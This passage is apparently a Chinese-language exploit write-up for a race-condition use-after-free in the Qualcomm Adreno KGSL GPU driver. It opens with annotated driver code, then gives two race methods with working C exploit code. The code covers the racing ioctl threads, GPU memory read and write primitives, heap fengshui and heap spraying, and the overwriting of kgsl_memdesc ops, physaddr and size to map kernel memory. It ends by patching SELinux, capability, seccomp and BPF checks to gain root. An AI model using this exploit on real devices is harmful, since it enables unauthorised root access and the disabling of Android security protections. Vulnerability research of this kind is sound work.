temp = bind_range_create(last + 1, cur->range.last,
cur->entry); //针对entry,绑定并计数refcount+1
/* FIXME: Uhoh, this would be bad */
BUG_ON(IS_ERR(temp));
interval_tree_insert(&temp->range,
&memdesc->ranges);
trace_kgsl_mem_add_bind_range(target,
temp->range.start,
temp->entry, bind_range_len(temp));
}
cur->range.last = start - 1;
interval_tree_insert(node, &memdesc->ranges);
trace_kgsl_mem_add_bind_range(target, cur->range.start,
cur->entry, bind_range_len(cur));
}
}
/* Add the new range */
interval_tree_insert(&range->range, &memdesc->ranges);//把新创建的 `range`(bind_range/vbo 节点)插入到 `target->memdesc.ranges` 这棵区间树里。traget就是vbo?
trace_kgsl_mem_add_bind_range(target, range->range.start,
range->entry, bind_range_len(range));//调试
mutex_unlock(&memdesc->ranges_lock);//释放锁
return kgsl_mmu_map_child(memdesc->pagetable, memdesc, start,
&entry->memdesc, offset, last - start + 1);//在 `memdesc->pagetable` 对应的 GPU 页表里,把 `[start, start+len)` 映射到 `entry->memdesc` 的物理页(从 `offset` 开始)。
}其实到目前为止即使不分析和使用kgsl_memdesc_remove_range函数, 也可以触发漏洞了,不过两种条件竞争攻击方式都挺有趣的,建议都看一下会理解的更深刻。
static void kgsl_memdesc_remove_range(struct kgsl_mem_entry *target,
u64 start, u64 last, struct kgsl_mem_entry *entry)
{
struct interval_tree_node *node, *next;
struct kgsl_memdesc_bind_range *range;
struct kgsl_memdesc *memdesc = &target->memdesc;//vbo_entry
mutex_lock(&memdesc->ranges_lock);
next = interval_tree_iter_first(&memdesc->ranges, start, last);
while (next) {
node = next;
range = bind_to_range(node);
next = interval_tree_iter_next(node, start, last);
/*
* If entry is null, consider it as a special request. Unbind
* the entire range between start and last in this case.
*/
if (!entry || range->entry->id == entry->id) {
if (kgsl_mmu_unmap_range(memdesc->pagetable,
memdesc, range->range.start, bind_range_len(range)))//取消页表中的vbo_entry和物理地址PA的映射(取消add_ranged的step2)
continue;
interval_tree_remove(node, &memdesc->ranges);//取消vbo_entry和child_entry的GPU VA链接。。
trace_kgsl_mem_remove_bind_range(target,
range->range.start, range->entry,
bind_range_len(range));
kgsl_mmu_map_zero_page_to_range(memdesc->pagetable,
memdesc, range->range.start, bind_range_len(range));//将vbo_entry指向zero_page
bind_range_destroy(range);//这里会refcount --
}
}
mutex_unlock(&memdesc->ranges_lock);
}总结
查找重叠节点:在
target->memdesc.ranges里找出与[start,last]重叠的 bind_range 节点。先撤销页表额物理地址射:对每个匹配节点,先
kgsl_mmu_unmap_range清掉该节点覆盖区间的 VA→PA
映射(也就是取消add_range的step2);若失败则不继续修改软件状态 。
- 释放针对child_entry引用:unmap 成功后从 interval-tree 移除节点,然后把 VA 改映射到 zero page,最后
bind_range_destroy(range)对 child entry 做 put(refcount--)并释放节点。(也就是取消add_range的step1)
条件竞争的两种方式
有两种条件竞争方式,关键点都在于执行了vbo_entry对child_entry引用后,触发了kgsl_mmu_map_child重新将物理地址绑定给了vbo_entry。
1. 第一种条件竞争方式
同一个vbo_entry同时执行对同一个child_entry进行add_range和remove_range就有概率触发。本质是在thread2中对child_entry的计数器-1,导致child_entry可以被释放,但是由于条件竞争最后thread1才执行kgsl_mmu_map_child将物理地址绑定给了vbo_entry。导致你可以通过访问vbo_entry的gpu_addr来访问一块被释放的物理地址。
| thread1 | thread2 | main |
|---|---|---|
| bind_range | remove_range | |
| 1.mem_entry(child_entry)绑定给vbo_entry(refcount++) | ||
| 2.解除vbo_entry和物理地址绑定(无效) | ||
| 3.释放mem_entry(child_entry)和vbo_entry的绑定(refcount--) | ||
| 4.kgsl_mmu_map_child 将物理地址绑定到vbo_entry | ||
| 释放mem_entry(child_entry),因此物理地址也被释放。导致UAF |
为什么取消vbo_entry与child_entry1的绑定后,GPU 仍然能通过 vbo 的 gpu_addr 访问到 child_entry1 的物理页:取消 vbo_entry 与 child_entry 的链接”指的是range→entry 的软件关系; GPU 之所以还能访问,是因为访问路径依赖的是pagetable 中的 VA→PA,而 kgsl_mmu_map_child 操作的是页表。
参考代码
vbo_entry只能通过gpu_addr进行访问,如何访问gpu_addr,请参考前面的“GPU开发基础”章节。
下面代码针对id1(child_entry)和id3(vbo_entry)同时执行remove_range和add_range
int id1, id2, id3, id4;
uint64_t alloc_size = PAGE_CNT * 0x1000;
// alloc obj1
id1 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_USE_CPU_MAP, alloc_size);
if (id1 < 0)
return -1;
void *cpu_mmap1 = mmap(0, alloc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, id1 * 0x1000);
if (cpu_mmap1 == (void *)-1) {
perror("[-] cpu_buffer mmap failed");
return -1;
}
debug("cpu_mmap1 %p\n", cpu_mmap1);
memset(cpu_mmap1, 'A', alloc_size);
//alloc vbo obj
id3 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_VBO, alloc_size); //vbo_entry的id
if (id3 < 0)
return -1;
gpu_addr = kgsl_get_info(fd, id3); //vbo_entry只能通过gpu_addr进行访问。
if (!gpu_addr)
return -1;
// race
pthread_t t1;
struct bind_arguments bind_args;
bind_args.fd = fd;
bind_args.alloc_size = alloc_size;
bind_args.obj_id = id1;//id2;
bind_args.vbo_id = id3;
pthread_create(&t1, NULL, bind_proc, &bind_args);//执行remove_range
struct kgsl_gpumem_bind_ranges bind_ranges;
struct kgsl_gpumem_bind_range range;
memset(&bind_ranges, 0, sizeof(bind_ranges));
memset(&range, 0, sizeof(range));
bind_ranges.ranges = (uint64_t)⦥
bind_ranges.ranges_nents = 1;
bind_ranges.ranges_size = sizeof(range);
bind_ranges.id = id3;
range.child_offset = 0;
range.target_offset = 0;
range.length = alloc_size;
range.child_id = id1;
range.op = KGSL_GPUMEM_RANGE_OP_BIND;//执行add_range
while (!step);
step = 0;
if (ioctl(fd, IOCTL_KGSL_GPUMEM_BIND_RANGES, &bind_ranges)) {
perror("[-] ioctl IOCTL_KGSL_GPUMEM_BIND_RANGES failed");
return -1;
}
sleep(1);
// free
if (munmap(cpu_mmap1, alloc_size)) {
perror("[-] munmap failed");
return -1;
}
struct kgsl_gpuobj_free free_obj;
memset(&free_obj, 0, sizeof(free_obj));
free_obj.id = id1;
if (ioctl(fd, IOCTL_KGSL_GPUOBJ_FREE, &free_obj)) {
perror("[-] ioctl IOCTL_KGSL_GPUOBJ_FREE failed");
return -1;
}
// occupy
id4 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_USE_CPU_MAP, alloc_size);
if (id4 < 0)
return -1;
void *cpu_mmap4 = mmap(0, alloc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, id4 * 0x1000);
if (cpu_mmap4 == (void *)-1) {
perror("[-] cpu_buffer mmap failed");
return -1;
}
debug("cpu_mmap4 %p\n", cpu_mmap4);
memset(cpu_mmap4, 'D', alloc_size);
int found = 0;
uint64_t *results = calloc(PAGE_CNT, sizeof(uint64_t));
if (gpu_read8n(gpu_addr, PAGE_CNT, results) < 0) {
err("read8n failed\n");
return -1;
}
for (uint64_t i = 0; i < PAGE_CNT; ++i) {
uint64_t res = results[i];
if (res == 0x4444444444444444) {
found = 1;
debug("!!!!!! gpu read %lx: %lx\n", gpu_addr + i * 0x1000, res);
break;
}
}
free(results);线程,执行remove_range
void *bind_proc(void *args)
{
struct bind_arguments *bind_args = (struct bind_arguments *)args;
struct kgsl_gpumem_bind_ranges bind_ranges;
struct kgsl_gpumem_bind_range range;
memset(&bind_ranges, 0, sizeof(bind_ranges));
memset(&range, 0, sizeof(range));
bind_ranges.ranges = (uint64_t)⦥
bind_ranges.ranges_nents = 1;
bind_ranges.ranges_size = sizeof(range);
bind_ranges.id = bind_args->vbo_id;
range.child_offset = 0;
range.target_offset = 0;
range.length = bind_args->alloc_size;
range.child_id = bind_args->obj_id;
range.op = KGSL_GPUMEM_RANGE_OP_UNBIND;//执行remove_range
step = 1;
while (step);
if (ioctl(bind_args->fd, IOCTL_KGSL_GPUMEM_BIND_RANGES, &bind_ranges)) {
perror("[-] ioctl IOCTL_KGSL_GPUMEM_BIND_RANGES failed");
}
pthread_exit(0);
}gpu_addr读取(注意:每4096字节读取8字节)
static const uint64_t gpu_read8n(uint64_t addr, size_t count, void *results)
{
assert(count <= 0x3000);
const uint32_t magic = rand();
size_t offset_scratch = 0x10;
size_t offset_ret = offset_scratch + 0xd0000;
size_t offset_value = offset_scratch + 0xd0000 + 8;
uint32_t *cmds_start = (uint32_t *)(cmd_buffer + offset_scratch);
uint32_t *cmds = cmds_start;
for (size_t i = 0; i < count; i++) {
*cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
*cmds++ = 0;
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i * 8);
cmds += cp_gpuaddr(cmds, addr + i*0x1000 );
*cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
*cmds++ = 0;
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i*8 + 4);
cmds += cp_gpuaddr(cmds, addr + i*0x1000 + 4);
}
*cmds++ = cp_type7_packet(CP_MEM_WRITE, 3);
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_ret);
*cmds++ = magic;
__clear_cache(cmds_start, cmds);
usleep(10000);
if (kgsl_gpu_command_n(fd, drawctxt_id, cmd_buffer_gpu_addr + offset_scratch, (uintptr_t)(cmds) - (uintptr_t)(cmds_start), 1) == -1) {
printf("gread8: gpu command");
getchar();
return -1;
}
volatile uint32_t *p = (volatile uint32_t *)(cmd_buffer + offset_ret);
for (int i = 0; *p != magic; i++) {
//printf("%d\n", *p);
usleep(10000);
// fprintf(stderr, "gread %#x...\n", *p);
__clear_cache(cmd_buffer, cmd_buffer + 0x100000);
}
__clear_cache(cmd_buffer, cmd_buffer + 0x100000);
memcpy(results, cmd_buffer + offset_value, 8 * count);
return 0;
}第二种条件竞争方式
原理也是类似的,同一个vbo_entry同时执行对child_entry1和child_entry2的add_range就有概率触发。
因为add_range如果对同一个vbo_entry执行也会触发旧的range释放逻辑,所以在add_range并发执行情况下,add_range释放range绑定信息导致计数器错误。
add_range解除索引的代码:
if (start <= cur->range.start) {
if (last >= cur->range.last) {
kgsl_mem_entry_put(cur->entry);//取消索引 refcount-1
kfree(cur);
continue;
}当两个线程同时add_range,vbo->child_entry1和vbo->child_entry2,后执行的bind_range会释放前一个add_range线程的绑定信息(child_entry1的计数器ref count -1),但是不影响两者在结束后都执行kgsl_mmu_map_child,之后child_entry1的物理地址依然被顺利绑定到了vbo_entry中。
| thread1 | thread2 | main |
|---|---|---|
| bind_range(child_entry1) | bind_range(child_entry2) | |
| 1.mem_entry(child_entry1)绑定给vbo_entry(refcount++) | ||
| 2.默认扫描range内容,发现已经存在range,释放旧的range,以及对应的(child_entry1 refcount-1) | ||
| 3.child_entry2绑定给vbo_entry(无需关注) | ||
| 4.kgsl_mmu_map_child 将child_entry1物理地址绑定到vbo_entry | ||
| 5.kgsl_mmu_map_child 将child_entry2物理地址绑定到vbo_entry(无需关注) | ||
| 释放child_entry1,因此物理地址也被释放。导致UAF |
通过上面两种方法,我们最终可以获得一个通过gpu_addr进行一段物理地址控制的能力。


原汤化原食:利用KGSL本身提权
内核利用的目标最终还是提权。要做到这一点,通常需要修改内核中的敏感数据,因此关键在于:如何把当前的 Use-After-Free 转化为“可控写”(最好是任意地址写)。
很多漏洞会选择走传统的内核利用链路(修改PTE或者dirty pipe等)。而这次利用最“精妙”的地方在于:最终的任意地址写依然可以借助 KGSL 自身的数据结构来完成——相当于“用 KGSL 打 KGSL”,原汤化原食。
先回顾一下对象关系:kgsl_memdesc 在内存布局上是嵌入在 kgsl_mem_entry 里的(可以近似把它们看作一个整体对象)。这意味着一旦我们能在 UAF 场景中替换/重用 kgsl_mem_entry,就有机会连带影响其内部的 memdesc 字段,从而操控映射行为。
KGSL适合利用的根本原因:
- 容易堆喷:申请
gpuobj就会创建kgsl_mem_entry,数量与布局都相对可控。 - 字段价值高:
kgsl_memdesc中的physaddr/size等字段一旦可控,可能被用来构造“映射任意物理地址”的能力,为进一步的任意写打基础。 - 易于定位:可以通过设置
metadata作为内存标记,提升在堆中定位/识别目标kgsl_mem_entry的成功率 - ops 可作为“利用杠杆”:
kgsl_memdesc还包含const struct kgsl_memdesc_ops *ops,这是一个操作函数表,用来抽象不同内存后端的实现差异。驱动在执行映射/解除映射/释放等关键动作时,往往会间接调用ops->xxx。


当前 physaddr 和 size 虽然已经可控,但直接修改它们并不会立刻改变既有的物理地址映射关系 ——因为页表映射通常只在“建立映射/处理缺页”等特定时机更新。因此我们还需要一个可控的触发点,让驱动重新按照我们伪造的 memdesc 参数去完成映射。
在该漏洞场景下,kgsl_memdesc_ops 同样可控(可被篡改)。如果我们把 memdesc->ops 伪造成 kgsl_contiguous_ops ,就能引入一个非常关键的触发路径:当用户态访问该对象的映射区 域并触发缺页(vmfault)时,内核会进入 kgsl_contiguous_vmfault。在这个函数中,驱动会调用 vmf_insert_pfn 建立页映射,而它所使用的 PFN/范围参数正来自 memdesc->physaddr 与 memdesc->size ——也就是我们已经可控的字段。
这意味着:我们不仅能让驱动“按我们的参数重映射”,甚至可以进一步把目标物理内存范围映射到用户态视图中,从而为稳定读写原语打基础;在极端情况下,理论上可用于映射大段内核物理内存。

要篡改 memdesc->ops,会遇到 kASLR(地址随机化):我们需要知道 kgsl_contiguous_ops 的地址。但进一步观察可以发现, 同一模块内符号之间的相对偏移通常是固定的 。我在实际测试中发现 kgsl_contiguous_ops 与 kgsl_page_ops 的地址差是固定的 0xc0 ,因此不需要爆破,只要泄露/已知其中一个的地址即可推算另一个。
nuwa:/ # cat /proc/kallsyms|grep kgsl_contiguous_ops
ffffffe4c1cc2d50 r kgsl_contiguous_ops [msm_kgsl]
nuwa:/ # cat /proc/kallsyms| grep kgsl_page_ops
ffffffe4c1cc2e10 r kgsl_page_ops [msm_kgsl]堆风水
由于 KGSL 的碎片化与缓存机制,即使我们“释放”了 GPU buffer,它对应的物理页也不一定会立刻回到系统通用页分配器 。很多情况下,这些页会先被 KGSL 的页缓存/页池(例如 kgsl_page_pool)回收并复用,用于后续 GPU 内存分配,而不是彻底交还给 buddy allocator。
这会带来一个直接问题: 我们做内核堆喷时,可能根本抢不到目标物理页——因为页还被 KGSL 的 pool 抓在手里,喷射对象即使成功分配,也可能落不到我们希望的物理位置上。
我观察到一个明显现象: 堆喷后再去观察目标物理地址内容,原来的数据并没有变化,说明那批页并没有真正进入“可被我们堆喷占位”的状态。

为了解决这个问题,需要做一轮 heap fengshui :通过短时间内申请大量 GPU 内存、制造更强的内存压力,迫使部分缓存页从 KGSL 的内部回收路径进一步流向内核通用内存管理。
下面是我使用的 heap fengshui 逻辑:创建多个进程并分配,触发回收链条。
void heap_fengshui(int num)
{
info("Starting heap fengshui\n");
int pid[num];
for (int i = 0; i < num; i++) {
pid[i] = do_alloc();
}
if (num == 1)
usleep(5000);
else
sleep(3);
for (int i = 0; i < num; i++) {
kill(pid[i], SIGKILL);
}
for (int i = 0; i < num; i++) {
wait(NULL);
}
ok("Finish heap fengshui\n");
}利用的流程
通过 race 控制一批目标物理页(例如尝试 200 次,争取稳定拿到多个“可控/可复用”的物理地址)。
让这些页尽可能“可被占位”(配合 heap fengshui)。
大量分配
kgsl_mem_entry / kgsl_memdesc相关对象进行堆喷,争取占到目标页。通过
metadata做内存标记,在 GPU 可读路径中定位kgsl_mem_entry。伪造关键字段(
ops/physaddr/size),让缺页路径按照我们给的physaddr/size重建映射。利用
obj_id走 mmap 映射出内核物理内存并 patch,实现 root。
一个踩坑:循环 200 次但只“重复占位同一块”我一开始犯了个低级错误:单纯循环 200 多遍去“申请→释放”,以为能积累 200 个不同的可控页。 但实际效果是:后续分配很可能反复复用了上一次释放回来的那一块,导致看似循环很多次,实际上一直在同一个位置打转,命中率非常低。更合理的方式是:先“占住”一批对象等循环结束再统一释放 。
批量race控制物理页
代码如下:
info("Starting GPU trigger sequence...\n");
for (int i = 0; i < MAX_GPU_OBJ; i++) {
uint64_t* res = (uint64_t*)gpu_trigger(i); // 每次循环获取GPU对象[9,10](@ref)
if ((uint64_t)res==0xffffffffffffffff) {
err("Failed to trigger GPU object at index %d\n", i);
i--;
//goto _fail;
}
else{
gpu_obj[i] = res;
ok("get gpu_addr : %lx , id = %d\n",gpu_obj[i],i);
}
}
//释放占位的obj,后续堆喷射。如果释放太早,容易分配同一块内存。
for (int i = 0; i < MAX_GPU_OBJ; i++) {
struct kgsl_gpuobj_free free_obj;
memset(&free_obj, 0, sizeof(free_obj));
free_obj.id = occupy_objs[i];
info("free occupy_objs[%d]=%d\n",i,occupy_objs[i]);
if (ioctl(fd, IOCTL_KGSL_GPUOBJ_FREE, &free_obj)) {
perror("[-] ioctl IOCTL_KGSL_GPUOBJ_FREE failed");
}
}堆喷射heapspray
使用大量的ksgl_mem_entry占位被释放的物理页,代码如下:
int do_exploit_2()
{
heap_fengshui(80);
heap_spray(0x29000);
//trigger_memory_shrink();
//info("手动释放cache\n");
//system("echo 3 > /proc/sys/vm/drop_caches");
return search_memdesc_exploit();
}
void heap_spray(int num)
{
info("Heap Spray");
const int loop_count = num; // 定义循环次数常量
int id_array[loop_count]; // 声明存储ID的数组[2,4](@ref)
uint64_t alloc_size = PAGE_CNT;//0x1000;//PAGE_CNT * 0x1000; //这里太大了太占空间
info("heap spray\n");
// 循环创建GPU对象
for (int i = 0; i < loop_count; i++) {
// 分配带有元数据的GPU对象
id_array[i] = kgsl_gpu_alloc_occupy(fd,
KGSL_MEMFLAGS_USE_CPU_MAP,
alloc_size);
// 错误处理
if (id_array[i] < 0) {
err(stderr, "第%d次分配失败,错误码:%d\n", i+1, id_array[i]);
break; // 遇到错误时中断循环[5](@ref)
}
info("成功创建第%d个对象,ID:%d\n", i+1, id_array[i]);
}
ok("Heap Spray success");
}kgsl结构体查找和修改
堆喷+风水之后,就需要查找和修改kgsl_mem_entry:遍历 metadata 来定位目标结构体,并进一步解析出 kgsl_memdesc 的字段偏移。这里有一个现实限制:vbo 类对象没有直接的 mmap 视图,所以不能像普通 gpuobj 那样简单 mmap 到用户态去扫描。 因此需要用 GPU 指令(例如 CP_MEM_TO_MEM)把 GPU VA 的内容拷到我们可读的 cmd_buffer 区域,再从 CPU 侧取回。
static const uint64_t gpu_readall(uint64_t addr, size_t count, void *results)
{
assert(count <= 0x3000);
const uint32_t magic = rand();
size_t offset_scratch = 0x10;
size_t offset_ret = offset_scratch + 0xd0000;
size_t offset_value = offset_scratch + 0xd0000 + 8;
uint32_t *cmds_start = (uint32_t *)(cmd_buffer + offset_scratch);
uint32_t *cmds = cmds_start;
for (size_t i = 0; i < count; i++) {
*cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
*cmds++ = 0;
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i * 8);
//cmds += cp_gpuaddr(cmds, addr + i*4 );
cmds += cp_gpuaddr(cmds, addr + i*8 );
*cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
*cmds++ = 0;
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i*8 + 4);
//cmds += cp_gpuaddr(cmds, addr + i*4 + 4);
cmds += cp_gpuaddr(cmds, addr + i*8 + 4);
}
*cmds++ = cp_type7_packet(CP_MEM_WRITE, 3);
cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_ret);
*cmds++ = magic;
__clear_cache(cmds_start, cmds);
usleep(10000);
if (kgsl_gpu_command_n(fd, drawctxt_id, cmd_buffer_gpu_addr + offset_scratch, (uintptr_t)(cmds) - (uintptr_t)(cmds_start), 1) == -1) {
printf("gread8: gpu command");
getchar();
return -1;
}
volatile uint32_t *p = (volatile uint32_t *)(cmd_buffer + offset_ret);
for (int i = 0; *p != magic; i++) {
//printf("%d\n", *p);
usleep(10000);
// fprintf(stderr, "gread %#x...\n", *p);
__clear_cache(cmd_buffer, cmd_buffer + 0x100000);
}
__clear_cache(cmd_buffer, cmd_buffer + 0x100000);
memcpy(results, cmd_buffer + offset_value, 8 * count);
return 0;
}在内存中找到 metadata 后,就可以顺藤摸瓜定位 kgsl_mem_entry / kgsl_memdesc,并进一步读出关键字段
我导出的结构体布局在该版本上偏移如下(不同设备/不同编译配置会变动;另外我搜索到的地址本身偏移了 0x8,所以这里整体也跟着偏移
- gpuaddr_offset = 0x190
- physaddr_offset = 0x188
- size_offset = 0x180
- kgsl_memdeesc_ops_offset = 0x168
- gpuobj_id_offset = 0x18 (查找对应obj,很重要)

找到目标 entry 后:
读出原
kgsl_memdesc_ops(通常是kgsl_page_ops)根据已验证的固定偏移把它改成
kgsl_contiguous_ops(例如-0xc0)覆盖
physaddr与size,让缺页vmfault路径用vmf_insert_pfn依据我们给的地址范围建立映射
if (res == 0x4D4D4D4D4D4D4D4D
) {
found = 1;
ok("j=%d\n",j);
ok("!!!!!! gpu read %lx: %lx\n", gpu_obj[i] + j, res);
info("finsih search memdesc,found\n");
dump_memory_hex(results, data_size,(uint64_t)gpu_obj[i]);
//修改kgsl_mem_entry结构体
int gpuaddr_offset = 0x190;
int physaddr_offset = 0x188;
int size_offset = 0x180;
int kgsl_memdeesc_ops_offset = 0x168;
int gpuobj_id_offset = 0x18;
uint64_t physaddr_addr = (uint64_t)(gpu_obj[i] + j - physaddr_offset/8);
uint64_t physaddr = gpu_read(physaddr_addr);
printf("physaddr addr:%llx\t",physaddr_addr);
printf("physaddr:%llx\n", physaddr);
uint64_t physize_addr = (uint64_t)(gpu_obj[i] + j - size_offset/8);
uint64_t physize = gpu_read(physize_addr);
printf("physize addr:%llx\t",physize_addr);
printf("physize:%llx\n", physize);
uint64_t kgsl_memdeesc_ops_addr = (uint64_t)(gpu_obj[i] + j - kgsl_memdeesc_ops_offset/8);
uint64_t kgsl_memdeesc_ops = gpu_read(kgsl_memdeesc_ops_addr);
printf("kgsl_memdeesc_ops addr:%llx\t",kgsl_memdeesc_ops_addr);
printf("kgsl_memdeesc_ops(kgsl_page_ops):%llx\n", kgsl_memdeesc_ops);
uint64_t gpuobj_id_addr = (uint64_t)(gpu_obj[i] + j - gpuobj_id_offset/8);
uint64_t gpuobj_id = gpu_read(gpuobj_id_addr);
printf("gpuobj_id addr:%llx\t",kgsl_memdeesc_ops_addr);
printf("gpuobj_id:%llx\n", kgsl_memdeesc_ops);
//修改kgsl_memdeesc_ops参数,kgsl_secure_page_ops -> kgsl_contiguous_ops offset
uint64_t new_kgsl_page_ops= kgsl_memdeesc_ops-0xc0;
printf("kgsl_contiguous_ops:%llx\t",new_kgsl_page_ops);
gpu_write(kgsl_memdeesc_ops_addr,new_kgsl_page_ops);
printf("kgsl_memdeesc_ops(kgsl_contiguous_ops):%llx\n",gpu_read(kgsl_memdeesc_ops_addr));
//修改 physaddr和physize参数
uint64_t physaddr_cover = 0xa8010000;
uint64_t physsize_cover = 0x4000000;
printf("physaddr:%llx\n",physaddr_cover);
printf("physsize:%llx\n",physsize_cover);
gpu_write(physaddr_addr,physaddr_cover);
gpu_write(physize_addr,physsize_cover);
physaddr = gpu_read(physaddr_addr);
printf("new physaddr:%llx\n", physaddr);
physize = gpu_read(physize_addr);
printf("new physize:%llx\n", physize);拿到对应的 gpuobj_id 后,可以直接 mmap 它的 CPU 视图(偏移通常按 id * 0x1000 ),从而把我们伪造后的“物理地址范围”映射出来:
void *kernel = mmap(0, 0x4000000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, gpuobj_id * 0x1000); //尝试mmap对应的gpupbj_id
if (kernel == (void *)-1) {
perror("[-] cpu_buffer mmap failed");
return 0;
}
dump_hex(kernel,0x1000);
hexdump_to_file(kernel, 0x4000000, "kernel.bin", true);//dump kernel
printf("Kernel mmaped at %p", kernel);kernel patch
内核映射之后,直接对内核参数进行patch即可实现root。
// kernel patch
uint64_t __text = 0xffffffdf7fa00000;
uint64_t __secure_computing = 0xffffffdf7fce80a8 -__text -0x10000;
uint64_t cap_capable = 0xffffffdf8012cd08 -__text - 0x10000;
uint64_t selinux_capable = 0xffffffdf8013cf5c - __text - 0x10000 ;
uint64_t selinux_enforcing_boot = 0xffffffdf821b6aec - __text - 0x10000;
uint64_t security_capable =0xffffffdf8012e9e4 - __text - 0x10000;
uint64_t avc_has_perm = 0xffffffdf8013a68c - __text - 0x10000;
uint64_t syscall_trace_enter = 0xffffffdf7fabe684 - __text - 0x10000;
uint64_t bpf_get_current_pid_tgid = 0xffffffdf7fd6a5b0 - __text - 0x10000;
uint64_t bpf_get_current_uid_gid = 0xffffffdf7fd6a608 - __text - 0x10000;
uint64_t bpf_probe_read_kernel_str = 0xffffffdf7fd2af34 - __text - 0x10000;
uint64_t bpf_probe_read_kernel = 0xffffffdf7fd2ae6c - __text - 0x10000;
printf("avc_has_perm: %p\n", (void *)(avc_has_perm ));
printf("__secure_computing: %p\n", (void *)(__secure_computing ));
printf("cap_capable: %p\n", (void *)(cap_capable ));
printf("selinux_capable: %p\n", (void *)(selinux_capable ));
printf("selinux_enforcing_boot: %p\n", (void *)(selinux_enforcing_boot ));
printf("security_capable: %p\n", (void *)(security_capable ));
printf("syscall_trace_enter: %p\n", (void *)(syscall_trace_enter));
uint64_t mov_x0_0_ret = 0xd65f03c0d2800000;
// Bypass uid and gid checker
memcpy(kernel + __secure_computing, &mov_x0_0_ret, 8);
memcpy(kernel + security_capable, &mov_x0_0_ret, 8);
memcpy(kernel + syscall_trace_enter, &mov_x0_0_ret, 8);
// Bypass selinux
//if (brand == BRAND_XIAOMI) {
memcpy(kernel + avc_has_perm, &mov_x0_0_ret, 8);
memcpy(kernel + selinux_capable, &mov_x0_0_ret, 8);
//}
// Bpf Faker
//if (brand == BRAND_XIAOMI) {
memcpy(kernel + bpf_get_current_pid_tgid, &mov_x0_0_ret, 8);
memcpy(kernel + bpf_get_current_uid_gid, &mov_x0_0_ret, 8);
memcpy(kernel + bpf_probe_read_kernel_str, &mov_x0_0_ret, 8);
memcpy(kernel + bpf_probe_read_kernel, &mov_x0_0_ret, 8);
//}
printf("Patche kernel done\n");
hexdump_to_file(kernel, 0x4000000, "kernel_patched.bin", true);//dump kernel
free(results);patch之后直接执行su即可root,selinux也可以直接关闭。

完整的利用演示:

演示视频
我在B站上传了了PPT讲解和演示内容: https://b23.tv/cftvYAa
参考和致谢
特别感谢@Resery4的帮助
参考文献:
https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html
https://dawnslab.jd.com/android_gpu_attack_defence_introduction/https://forum.butian.net/share/3936https://forum.butian.net/share/3924